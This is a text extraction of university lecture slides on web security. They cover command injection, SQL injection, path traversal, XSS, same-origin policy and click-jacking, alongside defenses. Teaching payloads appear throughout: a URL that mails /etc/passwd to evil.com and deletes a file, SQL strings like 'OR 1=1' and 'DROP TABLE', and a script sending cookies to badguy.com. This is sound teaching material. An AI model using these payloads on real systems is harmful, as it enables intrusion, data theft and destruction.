Web Security, Part 1 (as usual, thanks to Dave Wagner and Vern - - PowerPoint PPT Presentation
Web Security, Part 1 (as usual, thanks to Dave Wagner and Vern - - PowerPoint PPT Presentation
Web Security, Part 1 (as usual, thanks to Dave Wagner and Vern Paxson) Web Server Threats What can happen? Compromise Defacement Gateway to attacking clients Disclosure (not mutually exclusive) And what makes
Web Server Threats
- What can happen?
– Compromise – Defacement – Gateway to attacking clients – Disclosure – (not mutually exclusive)
- And what makes the problem particularly tricky?
– Public access – Mission creep
An example of mission creep. Originally, web pages were simply sources of information. Now they are interactive, and act as portals for configuring devices!
DD-WRT is router FIRMWARE. It is designed to be configured and installed using a web interface! Now youʼre not just configuring printers, but configuring the firmware in the routers in your network! Again, this is mission creep. This was not part of the original web mission.
And if configuring routers isn’t enough, how about home security!
Zone-H is an archive of defaced
- websites. Once a defaced website
is submitted to Zone-H, it is mirrored on the Zone-H servers, it is then moderated by the Zone-H staff to check if the defacement was fake. Sometimes the hackers themselves admittedly submit their hacked pages to the site. It is an Internet security portal containing
- riginal IT security news, digital
warfare news, geopolitics, proprietary and general advisories, analyses, forums, researches. Zone-H is the largest web intrusions archive. It is published in several languages
- Let’s take a look...
http://www.zone-h.org/archive
Directory Traversal (a.k.a. Path Traversal)
This is less a programming error than a permission error.
Attacking Via HTTP
URLs: Global identifiers of network-retrievable resources
http://user:pass@berkeley.edu:81/class?name=cs161#homework
Protocol Username Password Host Port Path Query Fragment
Simple Service Example
- Allow users to search the local phonebook for
any entries that match a regular expression
- Invoked via URL like:
http://harmless.com/phonebook.cgi?regex=<pattern>
- So for example:
http://harmless.com/phonebook.cgi?regex=daw|vern searches phonebook for any entries with “daw”
- r “vern” in them
- (Note: web surfer doesn’t enter this URL
themselves; an HTML form constructs it from what they type)
Simple Service Example, con’t
- Assume our server has some “glue” that parses URLs to
extract parameters into C variables
– and returns stdout to the user
- Simple version of code to implement search:
/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; sprintf(cmd, "grep %s phonebook.txt", regex); system(cmd); }
Simple Service Example, con’t
- Assume our server has some “glue” that parses URLs to
extract parameters into C variables
– and returns stdout to the user
- Simple version of code to implement search:
/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd); }
Are we done?
A Digression into Breakfast Cereals
- 2600 Hz tone a form of inband signaling
- Beware allowing control information to come
from data
- (also illustrates security-by-obscurity)
Instead of http://harmless.com/phonebook.cgi?regex=daw|
vern
How about http://harmless.com/phonebook.cgi?regex=foo;
%20mail %20-s%20hacker@evil.com%20</etc/passwd;%20rm
/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd); }
Problems?
Instead of http://harmless.com/phonebook.cgi?regex=daw|
vern
How about http://harmless.com/phonebook.cgi?regex=foo;
%20mail %20-s%20hacker@evil.com%20</etc/passwd;%20rm
%20 is the URL escape code for a space. the 20 is really a two character hex symbol from the ISO-Latin-1 character set, a superset of ASCII. So the command becomes: grep foo; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt
How To Fix Command Injection?
snprintf(cmd, sizeof cmd, "grep ’%s’ phonebook.txt", regex);
…regex=foo’; mail -s hacker@evil.com </etc/passwd; rm’
Okay, then scan regex and strip ’ - does that work? regex=O’Malley Okay, then scan regex and escape ’ …. ? regex ⇒ O\’Malley (not actually quite right, but ignore that)
…regex=foo\’; mail … ⇒ …regex=foo\\’; mail … (argument to grep is “foo\”) Okay, then scan regex and escape ’ and \ …. ? …regex=foo\’; mail … ⇒ …regex=foo\\\’; mail … (argument to grep is “foo\’; mail …”)
Input Sanitization
- In principle, can prevent injection attacks by
properly sanitizing input
– Remove inputs with meta-characters
- (can have “collateral damage” for benign inputs)
– Or escape any meta-characters (including escape characters!)
- Requires a complete model of how input subsequently
processed
– E.g. …regex=foo%27; mail … – E.g. …regex=foo%25%32%37; mail …
» Double-escaping bug
- And/or: avoid using a feature-rich API
– KISS + defensive programming
/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char *path = "/usr/bin/grep"; char *argv[10];/* room for plenty of args */
char *envp[1]; /* no room since no env. */ int argc = 0; argv[argc++] = path;/* argv[0] = prog name */ argv[argc++] = "-e";/* force regex as pat.*/ argv[argc++] = regex; argv[argc++] = "phonebook.txt"; argv[argc++] = 0; envp[0] = 0; if ( execve(path, argv, envp) < 0 ) command_failed(.....);
}
Command Injection in the Real World
Command Injection in the Real World
Structure of Modern Web Services
Browser Web server URL / Form Web page built from database command.php? arg1=x&arg2=y Database server
PHP: Hypertext Preprocessor
- Server scripting language with C-like
syntax
- Can intermingle static HTML and code
<input value=<?php echo $myvalue; ?>>
- Can embed variables in double-” strings
$user = “world”; echo “Hello $user!”; Or $user = “world”; echo “Hello” . $user . “!”;
- Form data in global arrays $_GET,
$_POST, …
SQL
- Widely used database query language
- Fetch a set of records
SELECT * FROM Person WHERE Username=‘oski’
- Add data to the table
INSERT INTO Person (Username, Balance) VALUES (‘oski’, 10)
- Modify data
UPDATE Person SET Balance=42 WHERE Username=‘oski’
- Query syntax (mostly) independent of vendor
SQL Injection Scenario
- Sample PHP
$recipient = $_POST[‘recipient’]; $sql = "SELECT PersonID FROM Person WHERE Balance < 100 AND Username='$recipient' "; $rs = $db->executeQuery($sql);
- How can recipient cause trouble
here?
–How can we see anyone’s balance?
SQL Injection Scenario, con’t
WHERE Balance < 100 AND Username='$recipient' ";
- recipient = foo' OR 1=1 --
(“--” is a comment, it masks the lack of closing ‘)
- Or foo'; DROP TABLE Person; -- ?
- Or … change database however you wish
Victim Server Victim SQL DB Attacker post malicious form unintended query receive valuable data 1 2 3
SQL Injection: Retrieving Data
Victim Server Victim SQL DB Attacker post malicious form unintended command Database modified 1 2 3
SQL Injection: Modifying Data
Defenses (work-in-progress)
Character-‑level ¡taint ¡tracking: Check ¡that ¡keywords, ¡metachars ¡are ¡untainted. Secure ¡template ¡languages: Template ¡languages ¡should ¡automa9cally ¡quote
- r ¡encode ¡subs9tu9ons ¡appropriately.
SELECT ¡u ¡FROM ¡t ¡WHERE ¡n='Bobby' ¡ ¡ü ¡ SELECT ¡u ¡FROM ¡t ¡WHERE ¡n='Bobby' ¡OR ¡1=1 ¡-‑-‑' ¡ ¡ ¡ ¡û <P>Hello ¡${username}! ¡ ¡Welcome ¡back.
Defenses (work in progress)
- 2. PHP code
executed by server
Injection via file inclusion
- 3. Now suppose COLOR=http://badguy/evil
Or: COLOR=../../../etc/passwd%00 A form of directory traversal (or path traversal). Can also work directly w/ URLs: e.g.: http://victim.com/cgi-bin/../../../../../etc/passwd
(seen every day)
Questions?
Basic Structure of Web Traffic
GET /index.html HTTP/1.1 Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language: en Connection: Keep-Alive User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Host: www.example.com Referer: http://www.google.com?q=dingbats
HTTP Request
Method Resource HTTP version Headers Data (if POST; none for GET) Blank line
GET: download data. POST: upload data.
HTTP/1.0 200 OK Date: Sun, 19 Apr 2009 02:20:42 GMT Server: Microsoft-Internet-Information-Server/5.0 Connection: keep-alive Content-Type: text/html Last-Modified: Sat, 18 Apr 2009 17:39:05 GMT Set-Cookie: session=44eb; path=/servlets Content-Length: 2543 <HTML> Some data... blah, blah, blah </HTML>
HTTP Response
HTTP version Status code Reason phrase Headers Data
Cookies
Web Page Generation
- Can be simple HTML:
<HTML> <HEAD> <TITLE>Test Page</TITLE> </HEAD> <BODY> <H1>Test Page</H1> <P> This is a test!</P> </BODY> </HTML>
Or what else? Java, Flash, Active-X, PDF … <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>Javascript demo page</title> </head> <body> <script type="text/javascript"> var a = 1; var b = 2; document.write(a+b); </script> </body> </html> Or what else?
Web Page Generation
- Or a program, say written in Javascript:
Structure of Web Traffic, con’t
Structure of Web Traffic, con’t
Browser Windows Interact
How to control just what they’re allowed to do?
Same-Origin Policy
How does the browser isolate different sites? (Thanks in part to John Ousterhout and Giovanni Vigna)
Web content comes from many sources, not all equally trusted Trusted and untrusted content are in close proximity
n frames, tabs, sequential visits
Must separate various forms of content so that untrusted content cannot corrupt/misuse trusted content
The Isolation Problem
Attackers can buy ads, use them to attack good pages Advertiser gets to supply content for ad (e.g., good page links to advertiser site in <iframe>) Ad can contain <script> elements that access DOM, submit forms, etc. parent.frames[0].forms[0].submit; Even images are not safe: browsers will accept non-image content
Example: a “good” page displays a sponsored ad:
General Idea: separate content with different trust levels into different frames, restrict communication between frames One frame can access content in another frame only if they share the same origin
n (protocol, domain, port (in some browsers))
All modern browsers implement the same-origin policy Same origin applies to AJAX requests also
Same-Origin Policy
Where same-origin doesn’t apply:
n <script> tags: Javascript executes with full privileges
- f the enclosing frame
n <img> tags: may contain arbitrary HTML content
By itself, the same-origin policy is too restrictive: there are times when it is useful to allow frames with different
- rigins to communicate
n More on this in a few minutes
Same-Origin (cont.)
Same Origin Policy
- Every frame in a browser window has a domain
– Domain = <server, protocol, port> from which the frame content was downloaded
Server = example.com, protocol = HTTP (maybe HTTPS)
- Code downloaded in a frame can only access
resources associated with that domain
– Access = read and modify values, including page contents
- If frame explicitly includes external code, it executes
within the frame domain even if from another host
<script ¡type="text/javascript"> ¡// ¡Downloaded ¡from ¡foo.com ¡ ¡ ¡ ¡ ¡ ¡ ¡src="http://www.bar.com/scripts/script.js"> ¡ ¡ ¡ ¡ ¡// ¡Executes ¡as ¡if ¡it ¡were ¡from ¡foo.com ¡ </script>
Cross-Site Scripting (XSS)
Attack Server Victim client visit web site receive malicious page click on link echo user input 1 2 3 send valuable data 5 4 (A “reflected” XSS attack) Server Patsy/Victim
The Setup
- User input is echoed into HTML response.
- Example: search field
– http://victim.com/search.php ? term = apple – search.php responds with:
<HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term] ?> : . . . </BODY> </HTML>
- Is this exploitable?
Injection Via Bad Input
- Consider link: (properly URL encoded)
http://victim.com/search.php ? term = <script> window.open( "http://badguy.com?cookie = " + document.cookie ) </script>
What if user clicks on this link?
1) Browser goes to victim.com/search.php 2) victim.com returns
<HTML> Results for <script> … </script> …
3) Browser executes script in same origin as victim.com
Sends badguy.com cookie for victim.com Or any other arbitrary execution / rewrite victim.com page !
Stored Cross-Site Scripting
Attack Server Server Patsy/Victim User Victim Inject malicious script request content receive malicious script 1 2 3 steal valuable data 4
(A “stored” XSS attack)
Stored XSS Example: MySpace.com
- Users can post HTML on their pages
- MySpace.com ensures HTML contains no
<script>, <body>, onclick, <a href=javascript://>
- … but can do Javascript within CSS tags:
<div style="background:url('javascript:alert(1)')">
- … and can hide "javascript" as "java\nscript"
Run arbitrary code in full MySpace context Exfiltrate data to attacker and/or make arb. MySpace changes User Victim Server Patsy/Victim
Stored XSS Using Images
Suppose pic.jpg on a web server contains HTML !
- Request for http://site.com/pic.jpg results in:
HTTP/1.1 200 OK … Content-Type: image/jpeg <html> fooled ya </html>
- IE will render this as HTML (despite Content-Type)
- Consider photo sharing sites that support image uploads
- What if attacker uploads an “image” that is a script?
XSS In General Terms
- XSS vulnerability = attacker can inject scripting
code into pages generated by a web app
- Methods for injecting malicious code:
– Reflected XSS
- attack script reflected back to user as part of a page from the
victim site
– Stored XSS
- attacker stores malicious code in a resource managed by the
web app, such as a database
– (DOM-based: injected script is just part of a web page’s document attributes)
Protecting Servers Against XSS (OWASP)
- OWASP = Open Web Application Security Project
- The best way to protect against XSS attacks:
– Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed. – Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content. – We [= OWASP] strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.
Use White- listing Beware Black- listing
Client-side?
Given the issues, how can we relax same origin but do so in a way that is secure?
Consider www.facebook.com, facebook.com, and chat.facebook.com If two frames each set document.domain to the same value, then they can communicate:
n Must be a suffix of the actual domain n Must explicitly set document.domain even if the
value doesn’t change (e.g., chat.facebook.com, facebook.com)
Domain Relaxation
Specifies one or more domains that may access this
- bject’s DOM
Can use “*” to allow universal access Not clear how many browsers support this
Access-Control-Allow-Origin header in HTTP responses:
Allows frames to send message to each other in a controlled fashion Sender (from domain a.com): Receiver (domain b.com) can check origin:
HTML5 postMessage mechanism
Frames are too restrictive for some situations:
n Example: allow users to enter text that includes
markup An alternative:
n Don’t use frames: content from different sources
intermixed
n Analyze content before including in page:
w Don’t allow some features (HTML, Javascript) w Modify code to include additional run-time checks
for problem that can’t be detected statically Beware: Language-based isolation is very tricky and prone to loopholes!
Language-based isolation:
Subset of Javascript for use in Facebook applications Facebook analyzes/rewrites Javascript before it gets to your browser Example:
n All identifiers get application-specific prefix to avoid
conflicts
n Can’t access DOM directly: instead of n must invoke FBJS method that enforces isolation
See http://wiki.developers.facebook.com/index.php/FBJS
Example: Facebook Javascript (FBJS)
Who is allowed to decide what content appears in a frame? Original policy was permissive: any frame could navigate any other frame. Guninski Attack:
n Password field on Citibank website contained within a
frame
n Attacker could navigate this frame to an identical-
looking one owned by the attacker; steals password
n Attack can come from any open window or tab
Navigation
A Guninski Attack
awglogin
window.open("https://attacker.com/", ¡"awglogin");
What should the policy be?
Child Sibling Descendant Frame Bust
Descendent policy: A frame can only navigate its children , and their children, etc. Most current browsers implement this policy
n Older versions such as IE6 and Firefox 2 are more
permissive
Solution:
Cookies can be read and written from Javascript: Browsers use the same-origin policy to restrict access to cookies
Cookie Security
Attacks on User Volition
- Browser assumes clicks & keystrokes =
clear indication of what the user wants to do
– Constitutes part of the user’s trusted path
- Attack #1: commandeer the focus of
user-input
- Attack #2: mislead the user regarding
true focus (“click-jacking”)
Why Does Firefox Make You Wait?
… to keep you from being tricked into clicking!
Click-Jacking
- Demo #1: you think you’re typing to a familiar
app and you’re not
– E.g., ¡http://imchris.org/files/transparent-‑ff.html
- Demo #2: you don’t think you’re typing to a
familiar app but you are
– E.g., http://samy.pl/quickjack/twitter.html (note, doesn’t quite work)
- Demo #3: you’re living in The Matrix
Click-Jacking
- Demo #1: you think you’re typing to a familiar
app and you’re not
– E.g., ¡http://imchris.org/files/transparent-‑ff.html
- Demo #2: you don’t think you’re typing to a
familiar app but you are
– E.g., http://samy.pl/quickjack/twitter.html (note, doesn’t quite work)
- Demo #3: you’re living in The Matrix
Let’s click here!
Click-Jacking
- Demo #1: you think you’re typing to a familiar
app and you’re not
– E.g., ¡http://imchris.org/files/transparent-‑ff.html
- Demo #2: you don’t think you’re typing to a
familiar app but you are
– E.g., http://samy.pl/quickjack/twitter.html (note, doesn’t quite work)
- Demo #3: you’re living in The Matrix
“Browser in Browser”
Apparent browser is generated by script running in real browser!